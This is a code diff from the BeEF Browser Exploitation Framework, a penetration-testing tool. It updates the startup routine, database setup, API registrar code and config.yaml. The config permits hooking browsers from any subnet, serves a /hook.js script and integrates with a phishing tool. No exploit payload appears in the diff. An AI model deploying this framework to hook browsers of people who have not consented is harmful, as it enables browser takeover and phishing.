$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
|
||||
|
||||
#
|
||||
# @note Require core loader's
|
||||
# @note Require core loader
|
||||
#
|
||||
require 'core/loader'
|
||||
require 'timeout'
|
||||
|
||||
#
|
||||
# @note Check the system language settings for UTF-8 compatibility
|
||||
# @note Ask user if they would like to update beef
|
||||
#
|
||||
env_lang = ENV['LANG']
|
||||
if env_lang !~ /(utf8|utf-8)/i
|
||||
print_warning "Warning: System language $LANG does not appear to be UTF-8 compatible."
|
||||
if env_lang =~ /\A([a-z]+_[a-z]+)\./i
|
||||
country = $1
|
||||
print_more "Try: export LANG=#{country}.utf8"
|
||||
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
|
||||
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
|
||||
print 'Checking latest BeEF repository and updating'
|
||||
`git pull && bundle`
|
||||
elsif `git rev-parse master` != `git rev-parse origin/master`
|
||||
begin
|
||||
Timeout.timeout(5) do
|
||||
puts '-- BeEF Update Available --'
|
||||
print 'Would you like to update to lastest version? y/n: '
|
||||
response = gets
|
||||
`git pull && bundle` if response&.strip == 'y'
|
||||
end
|
||||
rescue Timeout::Error
|
||||
puts "\nUpdate Skipped with input timeout"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# @note Create ~/.beef/
|
||||
#
|
||||
begin
|
||||
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
|
||||
rescue => e
|
||||
print_error "Could not create '#{$home_dir}': #{e.message}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
|
||||
#
|
||||
@@ -65,20 +86,20 @@ else
|
||||
end
|
||||
|
||||
#
|
||||
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
|
||||
# @note set log level
|
||||
#
|
||||
require 'core/bootstrap'
|
||||
BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
|
||||
|
||||
#
|
||||
# @note Loads enabled extensions
|
||||
# @note Check the system language settings for UTF-8 compatibility
|
||||
#
|
||||
BeEF::Extensions.load
|
||||
|
||||
#
|
||||
# @note Prints the BeEF ascii art if the -a flag was passed
|
||||
#
|
||||
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
|
||||
BeEF::Core::Console::Banners.print_ascii_art
|
||||
env_lang = ENV['LANG']
|
||||
if env_lang !~ /(utf8|utf-8)/i
|
||||
print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
|
||||
if env_lang =~ /\A([a-z]+_[a-z]+)\./i
|
||||
country = $1
|
||||
print_more "Try: export LANG=#{country}.utf8"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
@@ -93,101 +114,12 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
|
||||
end
|
||||
|
||||
#
|
||||
# @note Prints BeEF welcome message
|
||||
# @note Validate configuration file
|
||||
#
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
#
|
||||
# @note Loads enabled modules
|
||||
#
|
||||
BeEF::Modules.load
|
||||
|
||||
#
|
||||
# @note Disable reverse DNS
|
||||
#
|
||||
Socket.do_not_reverse_lookup = true
|
||||
|
||||
#
|
||||
# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
|
||||
#
|
||||
case config.get("beef.database.driver")
|
||||
when "sqlite"
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
|
||||
when "mysql", "postgres"
|
||||
DataMapper.setup(:default,
|
||||
:adapter => config.get("beef.database.driver"),
|
||||
:host => config.get("beef.database.db_host"),
|
||||
:port => config.get("beef.database.db_port"),
|
||||
:username => config.get("beef.database.db_user"),
|
||||
:password => config.get("beef.database.db_passwd"),
|
||||
:database => config.get("beef.database.db_name"),
|
||||
:encoding => config.get("beef.database.db_encoding")
|
||||
)
|
||||
else
|
||||
print_error 'No default database selected. Please add one in config.yaml'
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# @note Load the database
|
||||
#
|
||||
begin
|
||||
# @note Resets the database if the -x flag was passed
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
DataMapper.auto_migrate!
|
||||
else
|
||||
DataMapper.auto_upgrade!
|
||||
end
|
||||
rescue => e
|
||||
print_error "Could not connect to database: #{e.message}"
|
||||
if config.get("beef.database.driver") == 'sqlite'
|
||||
print_more "Ensure the #{config.get("beef.database.db_file")} database file is writable"
|
||||
end
|
||||
unless BeEF::Core::Configuration.instance.validate
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# @note Extensions may take a moment to load, thus we print out a please wait message
|
||||
#
|
||||
print_info 'BeEF is loading. Wait a few seconds...'
|
||||
|
||||
#
|
||||
# @note Execute migration procedure, checks for new modules
|
||||
#
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
|
||||
#
|
||||
# @note Create HTTP Server and prepare it to run
|
||||
#
|
||||
http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
|
||||
#
|
||||
# @note Prints information back to the user before running the server
|
||||
#
|
||||
BeEF::Core::Console::Banners.print_loaded_extensions
|
||||
BeEF::Core::Console::Banners.print_loaded_modules
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_count
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_routes
|
||||
|
||||
#
|
||||
# @note Create ~/.beef/
|
||||
#
|
||||
begin
|
||||
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
|
||||
rescue => e
|
||||
print_error "Could not create '#{$home_dir}': #{e.message}"
|
||||
end
|
||||
|
||||
#
|
||||
# @note Check whether we load the Console Shell or not
|
||||
#
|
||||
if config.get("beef.extension.console.shell.enable") == true
|
||||
print_error "The console extension is currently unsupported."
|
||||
print_more "See issue #1090 - https://github.com/beefproject/beef/issues/1090"
|
||||
end
|
||||
|
||||
#
|
||||
# @note Exit on default credentials
|
||||
#
|
||||
@@ -200,16 +132,117 @@ end
|
||||
#
|
||||
# @note Validate beef.http.public and beef.http.public_port
|
||||
#
|
||||
unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
|
||||
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
|
||||
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
|
||||
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
|
||||
print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
|
||||
|
||||
unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
|
||||
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
|
||||
#
|
||||
require 'core/bootstrap'
|
||||
|
||||
#
|
||||
# @note Prints the BeEF ascii art if the -a flag was passed
|
||||
#
|
||||
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
|
||||
BeEF::Core::Console::Banners.print_ascii_art
|
||||
end
|
||||
|
||||
#
|
||||
# @note Prints BeEF welcome message
|
||||
#
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
#
|
||||
# @note Loads enabled extensions
|
||||
#
|
||||
BeEF::Extensions.load
|
||||
|
||||
#
|
||||
# @note Loads enabled modules
|
||||
#
|
||||
BeEF::Modules.load
|
||||
|
||||
#
|
||||
# @note Disable reverse DNS
|
||||
#
|
||||
Socket.do_not_reverse_lookup = true
|
||||
|
||||
#
|
||||
# @note Database setup
|
||||
#
|
||||
#
|
||||
# @note Load the database
|
||||
#
|
||||
db_file = config.get('beef.database.file')
|
||||
# @note Resets the database if the -x flag was passed
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
begin
|
||||
File.delete(db_file) if File.exists?(db_file)
|
||||
rescue => e
|
||||
print_error("Could not remove '#{db_file}' database file: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
end
|
||||
|
||||
# Connect to DB
|
||||
ActiveRecord::Base.logger = nil
|
||||
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
|
||||
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
|
||||
# otr-activerecord require you to manually establish the connection with the following line
|
||||
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
|
||||
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
|
||||
OTR::ActiveRecord.establish_connection!
|
||||
end
|
||||
|
||||
# Migrate (if required)
|
||||
context = ActiveRecord::Migration.new.migration_context
|
||||
if context.needs_migration?
|
||||
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
|
||||
end
|
||||
#
|
||||
# @note Extensions may take a moment to load, thus we print out a please wait message
|
||||
#
|
||||
print_info 'BeEF is loading. Wait a few seconds...'
|
||||
|
||||
#
|
||||
# @note Execute migration procedure, checks for new modules
|
||||
#
|
||||
begin
|
||||
BeEF::Core::Migration.instance.update_db!
|
||||
rescue => e
|
||||
print_error("Could not update '#{db_file}' database file: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#
|
||||
# @note Create HTTP Server and prepare it to run
|
||||
#
|
||||
http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
|
||||
begin
|
||||
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
|
||||
rescue => e
|
||||
print_error("Database connection failed: #{e.message}")
|
||||
exit(1)
|
||||
end
|
||||
|
||||
#
|
||||
# @note Prints information back to the user before running the server
|
||||
#
|
||||
BeEF::Core::Console::Banners.print_loaded_extensions
|
||||
BeEF::Core::Console::Banners.print_loaded_modules
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_count
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_routes
|
||||
|
||||
#
|
||||
# @note Prints the API key needed to use the RESTful API
|
||||
#
|
||||
|
||||
16
conf.json
Normal file
16
conf.json
Normal file
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"source": {
|
||||
"include": ["./core/main/client"],
|
||||
"includePattern": ".js$"
|
||||
},
|
||||
"plugins": [
|
||||
"plugins/markdown"
|
||||
],
|
||||
"opts": {
|
||||
"encoding": "utf8",
|
||||
"readme": "./README.md",
|
||||
"destination": "docs/",
|
||||
"recurse": true,
|
||||
"verbose": true
|
||||
}
|
||||
}
|
||||
60
config.yaml
60
config.yaml
@@ -1,12 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.7.1-alpha'
|
||||
version: '0.5.4.0'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
@@ -23,14 +23,16 @@ beef:
|
||||
# Interface / IP restrictions
|
||||
restrictions:
|
||||
# subnet of IP addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
|
||||
# subnet of IP addresses that can connect to the admin UI
|
||||
#permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
|
||||
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
|
||||
# subnet of IP addresses that cannot be hooked by the framework
|
||||
excluded_hooking_subnet: []
|
||||
# slow API calls to 1 every api_attempt_delay seconds
|
||||
api_attempt_delay: "0.05"
|
||||
|
||||
# HTTP server
|
||||
# HTTP server
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
@@ -45,14 +47,21 @@ beef:
|
||||
|
||||
# Host Name / Domain Name
|
||||
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
|
||||
# set the public hostname below:
|
||||
#public: "" # public hostname/IP address
|
||||
# These settings will be used to create a public facing URL
|
||||
# This public facing URL will be used for all hook related calls
|
||||
# set the public setting below:
|
||||
# public:
|
||||
# host: "" # public hostname/IP address
|
||||
# port: "" # public port will default to 80 if no https 443 if https
|
||||
# and local if not set but there is a public host
|
||||
# https: false # true/false
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If you want BeEF to be accessible behind a reverse proxy or NAT,
|
||||
# set both the publicly accessible hostname/IP address and port below:
|
||||
#public: "" # public hostname/IP address
|
||||
#public_port: "" # public port (experimental)
|
||||
# NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
|
||||
# by altering the X-FORWARDED-FOR ip address in the request header.
|
||||
allow_reverse_proxy: false
|
||||
|
||||
# Hook
|
||||
hook_file: "/hook.js"
|
||||
@@ -72,7 +81,7 @@ beef:
|
||||
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
|
||||
secure: true
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
|
||||
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
@@ -84,34 +93,15 @@ beef:
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
# Enabled this config setting if you're external facing uri is using https
|
||||
public_enabled: false
|
||||
# In production environments, be sure to use a valid certificate signed for the value
|
||||
# used in beef.http.public (the domain name of the server where you run BeEF)
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
|
||||
database:
|
||||
# For information on using other databases please read the
|
||||
# README.databases file
|
||||
|
||||
# supported DBs: sqlite, mysql, postgres
|
||||
# NOTE: you must change the Gemfile adding a gem require line like:
|
||||
# gem "dm-postgres-adapter"
|
||||
# or
|
||||
# gem "dm-mysql-adapter"
|
||||
# if you want to switch drivers from sqlite to postgres (or mysql).
|
||||
# Finally, run a 'bundle install' command and start BeEF.
|
||||
driver: "sqlite"
|
||||
|
||||
# db_file is only used for sqlite
|
||||
db_file: "beef.db"
|
||||
|
||||
# db connection information is only used for mysql/postgres
|
||||
db_host: "localhost"
|
||||
db_port: 3306
|
||||
db_name: "beef"
|
||||
db_user: "beef"
|
||||
db_passwd: "beef"
|
||||
db_encoding: "UTF-8"
|
||||
file: "beef.db"
|
||||
|
||||
# Autorun Rule Engine
|
||||
autorun:
|
||||
@@ -130,10 +120,10 @@ beef:
|
||||
dns_hostname_lookup: false
|
||||
|
||||
# IP Geolocation
|
||||
# NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
|
||||
geoip:
|
||||
enable: true
|
||||
database: '/opt/GeoIP/GeoLite2-City.mmdb'
|
||||
# GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
|
||||
database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
|
||||
|
||||
# Integration with PhishingFrenzy
|
||||
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
|
||||
|
||||
95
core/api.rb
95
core/api.rb
@@ -1,12 +1,11 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module API
|
||||
|
||||
#
|
||||
# Registrar class to handle all registered timed API calls
|
||||
#
|
||||
@@ -24,26 +23,26 @@ module BeEF
|
||||
# Register timed API calls to an owner
|
||||
#
|
||||
# @param [Class] owner the owner of the API hook
|
||||
# @param [Class] c the API class the owner would like to hook into
|
||||
# @param [Class] clss the API class the owner would like to hook into
|
||||
# @param [String] method the method of the class the owner would like to execute
|
||||
# @param [Array] params an array of parameters that need to be matched before the owner will be called
|
||||
#
|
||||
def register(owner, c, method, params = [])
|
||||
unless verify_api_path(c, method)
|
||||
print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}"
|
||||
def register(owner, clss, method, params = [])
|
||||
unless verify_api_path(clss, method)
|
||||
print_error "API Registrar: Attempted to register non-existant API method #{clss} :#{method}"
|
||||
return
|
||||
end
|
||||
|
||||
if registered?(owner, c, method, params)
|
||||
print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}"
|
||||
if registered?(owner, clss, method, params)
|
||||
print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
|
||||
return
|
||||
end
|
||||
|
||||
id = @count
|
||||
@registry << {
|
||||
'id' => id,
|
||||
'owner' => owner,
|
||||
'class' => c,
|
||||
'id' => id,
|
||||
'owner' => owner,
|
||||
'class' => clss,
|
||||
'method' => method,
|
||||
'params' => params
|
||||
}
|
||||
@@ -56,18 +55,19 @@ module BeEF
|
||||
# Tests whether the owner is registered for an API hook
|
||||
#
|
||||
# @param [Class] owner the owner of the API hook
|
||||
# @param [Class] c the API class
|
||||
# @param [Class] clss the API class
|
||||
# @param [String] method the method of the class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Boolean] whether or not the owner is registered
|
||||
#
|
||||
def registered?(owner, c, method, params = [])
|
||||
def registered?(owner, clss, method, params = [])
|
||||
@registry.each do |r|
|
||||
next unless r['owner'] == owner
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
|
||||
return true
|
||||
end
|
||||
false
|
||||
@@ -76,17 +76,18 @@ module BeEF
|
||||
#
|
||||
# Match a timed API call to determine if an API.fire() is required
|
||||
#
|
||||
# @param [Class] c the target API class
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] method the method of the target API class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Boolean] whether or not the arguments match an entry in the API registry
|
||||
#
|
||||
def matched?(c, method, params = [])
|
||||
def matched?(clss, method, params = [])
|
||||
@registry.each do |r|
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
|
||||
return true
|
||||
end
|
||||
false
|
||||
@@ -98,24 +99,25 @@ module BeEF
|
||||
# @param [Integer] id the ID of the API hook
|
||||
#
|
||||
def unregister(id)
|
||||
@registry.delete_if {|r| r['id'] == id }
|
||||
@registry.delete_if { |r| r['id'] == id }
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves all the owners and ID's of an API hook
|
||||
# @param [Class] c the target API class
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] method the method of the target API class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Array] an array of hashes consisting of two keys :owner and :id
|
||||
#
|
||||
def get_owners(c, method, params = [])
|
||||
def get_owners(clss, method, params = [])
|
||||
owners = []
|
||||
@registry.each do |r|
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
owners << { :owner => r['owner'], :id => r['id'] }
|
||||
|
||||
owners << { owner: r['owner'], id: r['id'] }
|
||||
end
|
||||
owners
|
||||
end
|
||||
@@ -126,23 +128,23 @@ module BeEF
|
||||
#
|
||||
# @note This is a security precaution
|
||||
#
|
||||
# @param [Class] c the target API class to verify
|
||||
# @param [String] m the target method to verify
|
||||
# @param [Class] clss the target API class to verify
|
||||
# @param [String] mthd the target method to verify
|
||||
#
|
||||
def verify_api_path(c, m)
|
||||
(c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m))
|
||||
def verify_api_path(clss, mthd)
|
||||
(clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the registered symbol reference for an API hook
|
||||
#
|
||||
# @param [Class] c the target API class to verify
|
||||
# @param [String] m the target method to verify
|
||||
# @param [Class] clss the target API class to verify
|
||||
# @param [String] mthd the target method to verify
|
||||
#
|
||||
# @return [Symbol] the API path
|
||||
#
|
||||
def get_api_path(c, m)
|
||||
verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil
|
||||
def get_api_path(clss, mthd)
|
||||
verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil
|
||||
end
|
||||
|
||||
#
|
||||
@@ -171,36 +173,32 @@ module BeEF
|
||||
#
|
||||
# Fires all owners registered to this API hook
|
||||
#
|
||||
# @param [Class] c the target API class
|
||||
# @param [String] m the target API method
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] mthd the target API method
|
||||
# @param [Array] *args parameters passed for the API call
|
||||
#
|
||||
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
|
||||
# if the owners return data, otherwise NilClass
|
||||
#
|
||||
def fire(c, m, *args)
|
||||
mods = get_owners(c, m, args)
|
||||
def fire(clss, mthd, *args)
|
||||
mods = get_owners(clss, mthd, args)
|
||||
return nil unless mods.length.positive?
|
||||
|
||||
unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API'
|
||||
print_error "API Path not defined for Class: #{c} method:#{method}"
|
||||
unless verify_api_path(clss, mthd) && clss.ancestors[0].to_s > 'BeEF::API'
|
||||
print_error "API Path not defined for Class: #{clss} method: #{mthd}"
|
||||
return []
|
||||
end
|
||||
|
||||
data = []
|
||||
method = get_api_path(c, m)
|
||||
method = get_api_path(clss, mthd)
|
||||
mods.each do |mod|
|
||||
begin
|
||||
# Only used for API Development (very verbose)
|
||||
# print_info "API: #{mod} fired #{method}"
|
||||
# Only used for API Development (very verbose)
|
||||
# print_info "API: #{mod} fired #{method}"
|
||||
|
||||
result = mod[:owner].method(method).call(*args)
|
||||
unless result.nil?
|
||||
data << { :api_id => mod[:id], :data => result }
|
||||
end
|
||||
rescue => e
|
||||
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
|
||||
end
|
||||
result = mod[:owner].method(method).call(*args)
|
||||
data << { api_id: mod[:id], data: result } unless result.nil?
|
||||
rescue StandardError => e
|
||||
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
|
||||
end
|
||||
|
||||
data
|
||||
@@ -214,8 +212,7 @@ require 'core/api/modules'
|
||||
require 'core/api/extension'
|
||||
require 'core/api/extensions'
|
||||
require 'core/api/main/migration'
|
||||
require 'core/api/main/network_stack/assethandler.rb'
|
||||
require 'core/api/main/network_stack/assethandler'
|
||||
require 'core/api/main/server'
|
||||
require 'core/api/main/server/hook'
|
||||
require 'core/api/main/configuration'
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -7,14 +7,11 @@
|
||||
module BeEF
|
||||
module API
|
||||
module Extension
|
||||
|
||||
attr_reader :full_name, :short_name, :description
|
||||
|
||||
@full_name = ''
|
||||
@short_name = ''
|
||||
@description = ''
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,21 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
module Extensions
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'post_load' => :post_load
|
||||
}
|
||||
'post_load' => :post_load
|
||||
}.freeze
|
||||
|
||||
# API hook fired after all extensions have been loaded
|
||||
def post_load;
|
||||
end
|
||||
|
||||
def post_load; end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,22 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
module Configuration
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
module API
|
||||
module Configuration
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'module_configuration_load' => :module_configuration_load
|
||||
}
|
||||
|
||||
# Fires just after module configuration is loaded and merged
|
||||
# @param [String] mod module key
|
||||
def module_configuration_load(mod); end
|
||||
}.freeze
|
||||
|
||||
# Fires just after module configuration is loaded and merged
|
||||
# @param [String] mod module key
|
||||
def module_configuration_load(mod); end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,21 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
module Migration
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
module API
|
||||
module Migration
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'migrate_commands' => :migrate_commands
|
||||
}
|
||||
}.freeze
|
||||
|
||||
# Fired just after the migration process
|
||||
def migrate_commands; end
|
||||
|
||||
# Fired just after the migration process
|
||||
def migrate_commands; end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,36 +1,34 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
module AssetHandler
|
||||
module API
|
||||
module NetworkStack
|
||||
module Handlers
|
||||
module AssetHandler
|
||||
# Binds a file to be accessible by the hooked browser
|
||||
# @param [String] file file to be served
|
||||
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
|
||||
# @param [String] extension to be used in the URL
|
||||
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
|
||||
# @return [String] URL bound to the specified file
|
||||
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.bind(file, path = nil, extension = nil, count = -1)
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
|
||||
end
|
||||
|
||||
# Binds a file to be accessible by the hooked browser
|
||||
# @param [String] file file to be served
|
||||
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
|
||||
# @param [String] extension to be used in the URL
|
||||
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
|
||||
# @return [String] URL bound to the specified file
|
||||
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.bind(file, path=nil, extension=nil, count=-1)
|
||||
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
|
||||
# Unbinds a file made accessible to hooked browsers
|
||||
# @param [String] url the bound URL
|
||||
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.unbind(url)
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Unbinds a file made accessible to hooked browsers
|
||||
# @param [String] url the bound URL
|
||||
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.unbind(url)
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,43 +1,40 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
